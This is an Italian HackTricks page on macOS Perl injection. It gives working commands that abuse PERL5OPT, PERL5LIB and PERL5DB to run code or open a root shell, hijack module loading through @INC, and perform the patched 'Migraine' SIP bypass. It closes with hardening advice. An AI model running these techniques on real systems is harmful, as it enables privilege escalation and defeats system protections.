macOS Perl Applications Injection
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Via PERL5OPT & PERL5LIB env variable
Utilizzando la variabile d'ambiente PERL5OPT è possibile far eseguire a Perl comandi arbitrari quando l'interprete si avvia (anche prima che la prima riga dello script di destinazione venga analizzata).
Ad esempio, crea questo script:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Ora esporta la variabile di ambiente ed esegui lo script perl:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Un'altra opzione è creare un modulo Perl (ad es. /tmp/pmod.pm):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
E poi usa le variabili di ambiente in modo che il modulo venga localizzato e caricato automaticamente:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
Altre variabili d'ambiente interessanti
PERL5DB– quando l'interprete viene avviato con il flag-d(debugger), il contenuto diPERL5DBviene eseguito come codice Perl all'interno del contesto del debugger. Se puoi influenzare sia l'ambiente che i flag della riga di comando di un processo Perl privilegiato, puoi fare qualcosa del genere:
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # aprirà una shell prima di eseguire lo script
PERL5SHELL– su Windows, questa variabile controlla quale eseguibile della shell Perl utilizzerà quando deve generare una shell. Viene menzionata qui solo per completezza, poiché non è rilevante su macOS.
Sebbene PERL5DB richieda l'opzione -d, è comune trovare script di manutenzione o di installazione che vengono eseguiti come root con questo flag abilitato per la risoluzione dei problemi dettagliata, rendendo la variabile un vettore di escalation valido.
Via dipendenze (abuso di @INC)
È possibile elencare il percorso di inclusione che Perl cercherà (@INC) eseguendo:
perl -e 'print join("\n", @INC)'
L'output tipico su macOS 13/14 appare come:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Alcune delle cartelle restituite non esistono nemmeno, tuttavia /Library/Perl/5.30 esiste, non è protetta da SIP ed è prima delle cartelle protette da SIP. Pertanto, se puoi scrivere come root, puoi inserire un modulo malevolo (ad es. File/Basename.pm) che sarà preferenzialmente caricato da qualsiasi script privilegiato che importa quel modulo.
warning
Hai ancora bisogno di root per scrivere all'interno di /Library/Perl e macOS mostrerà un prompt TCC che chiede Accesso Completo al Disco per il processo che esegue l'operazione di scrittura.
Ad esempio, se uno script importa use File::Basename;, sarebbe possibile creare /Library/Perl/5.30/File/Basename.pm contenente codice controllato dall'attaccante.
Bypass SIP tramite Migration Assistant (CVE-2023-32369 “Migraine”)
Nel maggio 2023 Microsoft ha divulgato CVE-2023-32369, soprannominato Migraine, una tecnica di post-exploitation che consente a un attaccante root di bypassare completamente la Protezione dell'Integrità di Sistema (SIP).
Il componente vulnerabile è systemmigrationd, un demone dotato di com.apple.rootless.install.heritable. Qualsiasi processo figlio generato da questo demone eredita il diritto e quindi viene eseguito al di fuori delle restrizioni SIP.
Tra i figli identificati dai ricercatori c'è l'interprete firmato da Apple:
/usr/bin/perl /usr/libexec/migrateLocalKDC …
Perché Perl onora PERL5OPT (e Bash onora BASH_ENV), avvelenare l'ambiente del demone è sufficiente per ottenere un'esecuzione arbitraria in un contesto senza SIP:
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
Quando migrateLocalKDC viene eseguito, /usr/bin/perl si avvia con il malevolo PERL5OPT ed esegue /private/tmp/migraine.sh prima che SIP venga riabilitato. Da quel script puoi, ad esempio, copiare un payload all'interno di /System/Library/LaunchDaemons o assegnare l'attributo esteso com.apple.rootless per rendere un file non eliminabile.
Apple ha risolto il problema in macOS Ventura 13.4, Monterey 12.6.6 e Big Sur 11.7.7, ma i sistemi più vecchi o non patchati rimangono sfruttabili.
Raccomandazioni per il rafforzamento
- Pulisci le variabili pericolose – i launchdaemons privilegiati o i cron job dovrebbero avviarsi con un ambiente pulito (
launchctl unsetenv PERL5OPT,env -i, ecc.). - Evita di eseguire interpreti come root a meno che non sia strettamente necessario. Usa binari compilati o riduci i privilegi presto.
- Fornisci script con
-T(modalità taint) in modo che Perl ignoriPERL5OPTe altri switch non sicuri quando il controllo taint è abilitato. - Mantieni macOS aggiornato – “Migraine” è completamente patchato nelle versioni attuali.
Riferimenti
- Microsoft Security Blog – “Nuova vulnerabilità macOS, Migraine, potrebbe bypassare la Protezione dell'Integrità di Sistema” (CVE-2023-32369), 30 maggio 2023.
- Hackyboiz – “Ricerca sul bypass SIP di macOS (PERL5OPT & BASH_ENV)”, maggio 2025.
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks